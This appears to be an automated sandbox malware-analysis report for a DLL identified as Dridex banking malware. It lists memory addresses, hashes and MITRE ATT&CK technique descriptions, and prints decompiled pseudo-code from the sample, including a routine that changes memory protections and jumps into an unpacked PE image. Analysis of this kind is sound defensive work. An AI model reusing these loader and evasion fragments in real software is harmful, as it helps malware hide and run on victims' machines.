0x6eec1948
0x6eec1951
0x6eec1955
0x6eec1962
0x6eec196b
0x6eec1970
0x6eec1974
0x6eec1977
0x6eec19d8
0x6eec19ee
0x6eec19f9
0x6eec19fa
0x6eec19fb
0x6eec19ff
0x6eec1a02
0x6eec1c82
0x6eec1c85
0x6eec1c85
0x00000000
0x6eec1a02
0x6eec1981
0x6eec1991
0x6eec199a
0x6eec19a3
0x6eec19ac
0x6eec19ad
0x6eec19ae
0x6eec19b3
0x6eec19bb
0x6eec19c3
0x00000000
0x00000000
0x00000000
0x6eec19c5
0x6eec18f5
0x6eec18fa
0x6eec18fe
0x6eec18fe
0x6eec1902
0x6eec1905
0x00000000
0x00000000
0x6eec1926
0x6eec1928
0x6eec192c
0x6eec192e
0x00000000
0x00000000
0x6eec1930
0x6eec1937
0x6eec1943
0x00000000
0x6eec1943
0x6eec190a
0x00000000
0x6eec1a08
0x6eec1a08
0x6eec1a09
0x6eec1a19
0x6eec1a25
0x6eec1a2e
0x6eec1a37
0x6eec1a40
0x00000000
0x6eec1a40
0x6eec16ef
0x6eec16f1
0x6eec16f3
0x6eec16f8
0x6eec16fd
0x6eec1710
0x6eec1726
0x6eec172f
0x6eec1730
0x6eec1730
0x6eec1732
0x6eec1733
0x6eec1736
0x6eec173a
0x00000000
0x6eec16f3
0x6eec168f
0x6eec1699
0x6eec169a
0x6eec169a
0x6eec16a7
0x6eec16b3
0x6eec16b5
0x6eec16b7
0x6eec16bb
0x6eec16cb
0x6eec16cb
0x6eec16d2
0x6eec16d5
0x6eec16d6
0x6eec16da
0x6eec16e4
0x00000000
0x6eec16e4

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 161fee1e75f5cc83ad1acecffb4b5abf0e13ef5b7fe14f105bc1fe50b137cc0c
Instruction ID: 522d549cbada196e9097733dd1290d726316b351c1d00330cc3fa43759aff413
Opcode Fuzzy Hash: 161fee1e75f5cc83ad1acecffb4b5abf0e13ef5b7fe14f105bc1fe50b137cc0c
Instruction Fuzzy Hash: 04328D705083459FC714DFA8CA90ADFB7F8BF95708F20492DE5A5872A0EB34E949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6EEB6DC8, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EEB6DC8() {

				 *0x6eecd280 = GetUserNameW;
				 *0x6EECD284 = MessageBoxW;
				 *0x6EECD288 = GetLastError;
				 *0x6EECD28C = CreateFileA;
				 *0x6EECD290 = DebugBreak;
				 *0x6EECD294 = FlushFileBuffers;
				 *0x6EECD298 = FreeEnvironmentStringsA;
				 *0x6EECD29C = GetConsoleOutputCP;
				 *0x6EECD2A0 = GetEnvironmentStrings;
				 *0x6EECD2A4 = GetLocaleInfoA;
				 *0x6EECD2A8 = GetStartupInfoA;
				 *0x6EECD2AC = GetStringTypeA;
				 *0x6EECD2B0 = HeapValidate;
				 *0x6EECD2B4 = IsBadReadPtr;
				 *0x6EECD2B8 = LCMapStringA;
				 *0x6EECD2BC = LoadLibraryA;
				 *0x6EECD2C0 = OutputDebugStringA;
				return 0x6eecd280;
			}

0x6eeb6dd9
0x6eeb6de1
0x6eeb6de4
0x6eeb6df3
0x6eeb6df6
0x6eeb6e05
0x6eeb6e08
0x6eeb6e17
0x6eeb6e1a
0x6eeb6e29
0x6eeb6e2c
0x6eeb6e3b
0x6eeb6e3e
0x6eeb6e4d
0x6eeb6e50
0x6eeb6e5f
0x6eeb6e62
0x6eeb6e65

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8948401db2f3b5a6cdda8e7fe52d2c9499bfbc705af85c973daf2ae837de049
Instruction ID: cfe6bc8185b10827cd248906f6a7c3c0e25c6ae4885aaf17d7bad48551b141de
Opcode Fuzzy Hash: a8948401db2f3b5a6cdda8e7fe52d2c9499bfbc705af85c973daf2ae837de049
Instruction Fuzzy Hash: 1C11E4B8995A00CFC748CF05D1998517BF2FB8D79031182BAD92E8B369D734D845DF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EEBBC00, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EEBBC00(intOrPtr* __ecx) {
				void* _t1;
				intOrPtr* _t4;

				_t4 = __ecx;
				_t1 = E6EEBC33C(__ecx);
				if(_t1 != 0) {
					L4:
					return _t1;
				} else {
					_t1 = E6EEC2F8C(0xa5eabdf8, 0x2c2324e8);
					if(_t1 == 0) {
						 *_t4 = 0;
						goto L4;
					} else {
						_push( *_t4);
						asm("int3");
						return _t1;
					}
				}
			}

0x6eebbc01
0x6eebbc03
0x6eebbc0a
0x6eebbc29
0x6eebbc2a
0x6eebbc0c
0x6eebbc16
0x6eebbc1d
0x6eebbc23
0x00000000
0x6eebbc1f
0x6eebbc1f
0x6eebbc21
0x6eebbc22
0x6eebbc22
0x6eebbc1d

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction ID: cebf96d886537247aa22b7b841ff5d104bec18324499ed0d2d38a67c2b09d48c
Opcode Fuzzy Hash: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction Fuzzy Hash: CFD0227210424362EF0047B4BF00744E39C4FC6508F340C5A54002B10DCFB280020420

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 7032 Parent PID: 6908 rundll32.exeCOMMON

Executed Functions

Function 04A02213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E04A02213(long __ebx, long __edi, void* __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				char* _v76;
				int _v80;
				long _v84;
				long _v88;
				DWORD* _v92;
				intOrPtr _v96;
				int _v100;
				intOrPtr* _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				char* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				int _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char _v184;
				intOrPtr* _t136;
				int _t143;
				int _t151;
				int _t155;
				intOrPtr _t170;
				int _t177;
				void* _t226;
				intOrPtr _t229;
				intOrPtr _t234;
				void* _t236;
				intOrPtr* _t240;
				intOrPtr _t247;
				intOrPtr _t251;
				DWORD* _t264;
				void* _t268;
				intOrPtr* _t271;
				intOrPtr* _t272;

				_t136 = _a4;
				_v20 = 0;
				_t236 =  *((intOrPtr*)(_t136 + 0x40));
				 *0x4a04418 = 1;
				asm("movaps xmm0, [0x4a03010]");
				asm("movups [0x4a04428], xmm0");
				_v48 = _t136;
				_v52 =  *((intOrPtr*)(_t136 + 0x64));
				_v56 =  *((intOrPtr*)(_v48 + 8));
				_v184 = _t236;
				_v60 =  *((intOrPtr*)(_v48 + 0x50));
				_v180 = _v52;
				_v176 = 4;
				_v172 =  &_v20;
				_v64 =  *((intOrPtr*)(_t136 + 0x60));
				_v68 = 4;
				_v72 = _t236;
				_v76 =  &_v20;
				_t143 = VirtualProtect(__esi, __edi, __ebx, _t264); // executed
				_v80 = _t143;
				_v184 = _v72;
				_v180 = 0;
				_v176 =  *((intOrPtr*)(_v48 + 0x64));
				_v84 = 0x400;
				_v88 = 2;
				_v92 =  &_v20;
				_v96 = 0;
				E04A02569();
				E04A01D28(_v72,  *((intOrPtr*)(_v48 + 0xc)), _v56);
				E04A02569( *((intOrPtr*)(_v48 + 0xc)), 0, _v56);
				_t151 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
				_t271 = _t268 - 0x88;
				_t226 = _v72;
				_t251 =  *((intOrPtr*)(_t226 + 0x3c));
				_v100 = _t151;
				_v104 = _v72 + 0x3c;
				_v108 = _t226;
				_v112 = _t251;
				if(_t251 != 0) {
					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v144 = _v108;
				if(_v60 != 0) {
					_v148 = 0;
					_v152 = _v144 + 0x18 + ( *(_v144 + 0x14) & 0x0000ffff);
					while(1) {
						_t170 = _v152;
						_v160 = _t170;
						_t247 = _v160;
						_v184 = _v72 +  *((intOrPtr*)(_t247 + 0xc));
						_v180 =  *((intOrPtr*)(_t247 + 8));
						_v176 =  *((intOrPtr*)(0x4a04418 + (( *(_t170 + 0x24) >> 0x0000001e & 0x00000001) << 4) + ( *(_t170 + 0x24) >> 0x1f << 3) + (( *(_t170 + 0x24) >> 0x0000001d & 0x00000001) << 2)));
						_v172 =  &_v20;
						_v164 = _v148;
						_t177 = VirtualProtect(??, ??, ??, ??); // executed
						_t271 = _t271 - 0x10;
						_t234 = _v164 + 1;
						_v168 = _t177;
						_v148 = _t234;
						_v152 = _v160 + 0x28;
						if(_t234 == _v60) {
							goto L9;
						}
					}
				}
				L9:
				 *_t271 = _v72;
				_v124 = _v72 +  *((intOrPtr*)(_v48 + 0x24));
				_t155 = DisableThreadLibraryCalls(??);
				_t272 = _t271 - 4;
				_t229 =  *_v104;
				_v156 = _t155;
				_v116 = _t229;
				_v120 = _v72;
				if(_t229 != 0) {
					_v120 = _v72 + (_v116 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_t240 = _v48;
				_v44 =  *((intOrPtr*)(_t240 + 0x20));
				_v40 =  *((intOrPtr*)(_t240 + 0x18));
				_v36 =  *((intOrPtr*)(_t240 + 0x34));
				_v32 =  *((intOrPtr*)(_t240 + 0x30));
				_v28 =  *_t240;
				_v24 = _v124;
				 *_t272 = _t240;
				_v184 = 0;
				_v180 = 0x74;
				_v128 =  *((intOrPtr*)(_v120 + 0x28));
				_v132 = 0;
				_v136 = 0x74;
				_v140 =  &_v44;
				E04A02569();
				if(_v128 != 0) {
					_t272 =  *((intOrPtr*)( &_v44 + 0x10));
					goto __eax;
				}
				return 1;
			}

0x04a0221f
0x04a0222d
0x04a02234
0x04a02237
0x04a02241
0x04a02248
0x04a02252
0x04a02258
0x04a02261
0x04a0226a
0x04a0226d
0x04a02273
0x04a02277
0x04a0227f
0x04a02283
0x04a02286
0x04a02289
0x04a0228c
0x04a0228f
0x04a022a9
0x04a022af
0x04a022b2
0x04a022ba
0x04a022be
0x04a022c1
0x04a022c4
0x04a022c7
0x04a022ca
0x04a022e6
0x04a02303
0x04a02328
0x04a0232a
0x04a02333
0x04a02336
0x04a02340
0x04a02343
0x04a02346
0x04a02349
0x04a0234c
0x04a023a4
0x04a023a4
0x04a0254a
0x04a02550
0x04a0244d
0x04a02453
0x04a0249f
0x04a0249f
0x04a024bc
0x04a024e2
0x04a024f0
0x04a024f3
0x04a024f7
0x04a024fb
0x04a02502
0x04a02508
0x04a0250a
0x04a0251c
0x04a02524
0x04a0252a
0x04a02530
0x04a02536
0x00000000
0x00000000
0x04a0253c
0x04a0249f
0x04a0245b
0x04a02469
0x04a02471
0x04a02474
0x04a02476
0x04a0247c
0x04a02488
0x04a0248e
0x04a02491
0x04a02494
0x04a0238a
0x04a0238a
0x04a023d8
0x04a023de
0x04a023e4
0x04a023ea
0x04a023f0
0x04a023f5
0x04a023fb
0x04a023fe
0x04a02401
0x04a02409
0x04a02411
0x04a02414
0x04a02417
0x04a0241d
0x04a02423
0x04a0242e
0x04a02362
0x04a02368
0x04a02368
0x04a023c5

APIs

VirtualProtect.KERNELBASE ref: 04A0228F
VirtualProtect.KERNELBASE ref: 04A02328

Strings

t, xrefs: 04A02409

Memory Dump Source

Source File: 00000004.00000002.1041440702.0000000004A00000.00000040.00000001.sdmp, Offset: 04A00000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: t
API String ID: 544645111-2238339752
Opcode ID: 2ef2fcbb38fd870f51b104cb0c91aa82a08f09512eb8f014bdd0c806fe9b4718
Instruction ID: 99faf3278b10028794bd2f21eb6afb49545185c7ea34b1fbe95a0ee950a17097
Opcode Fuzzy Hash: 2ef2fcbb38fd870f51b104cb0c91aa82a08f09512eb8f014bdd0c806fe9b4718
Instruction Fuzzy Hash: 788187B4E043088FDB04DF99D184A9DFBF0BF88310F6585AAE958AB351D334A981CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04A02439, Relevance: 1.6, APIs: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 04A02508

Memory Dump Source

Source File: 00000004.00000002.1041440702.0000000004A00000.00000040.00000001.sdmp, Offset: 04A00000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c89bb4857716f3d67ac8f9aa210681f4ea28e3198cef54f9ba1e147e4f1cfd89
Instruction ID: 08b4c84c59448c61bfda7c4299379ab3c6254c0542ded622e0e4822fba7190a2
Opcode Fuzzy Hash: c89bb4857716f3d67ac8f9aa210681f4ea28e3198cef54f9ba1e147e4f1cfd89
Instruction Fuzzy Hash: EB31D8B5E002288FDB14CF68C98079DB7F1BF88304F558299D949A7346D731AE82CF81

Uniqueness

Uniqueness Score: -1.00%

Function 04A01D89, Relevance: 1.4, APIs: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 04A01EA8

Memory Dump Source

Source File: 00000004.00000002.1041440702.0000000004A00000.00000040.00000001.sdmp, Offset: 04A00000, based on PE: true

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction ID: 5913ee8d283b357cfaad5cca2f67a54cc4c5e831a556f6bb41e6c9c9f47f89a7
Opcode Fuzzy Hash: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction Fuzzy Hash: 3841F2B1E0021A8FDB04DFA8D5946AEBBF1FF48314F19852EE448AB380D735A840CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report IHUVPJ4hXu.dll

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 6908 Parent PID: 5872

Function 02CE2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Function 6EEC07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Function 6EEB1494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Function 6EEC218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Function 6EEC2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Function 6EEC3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 027F2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Function 6EEC5DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Function 6EEC1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Function 6EEC5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Function 6EEC5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Function 6EEC5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 6EEC5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Function 6EEC5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Function 6EEC5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 6EEC5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Function 6EEC5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 6EEC10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 6EEC55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Function 6EEC3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Function 6EEB9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Function 6EEBA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Function 6EEC92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 6EEB84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 6EEC14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Function 6EEB6DC8, Relevance: .0, Instructions: 36
COMMON

Function 6EEBBC00, Relevance: .0, Instructions: 16
COMMON

Function 04A02213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON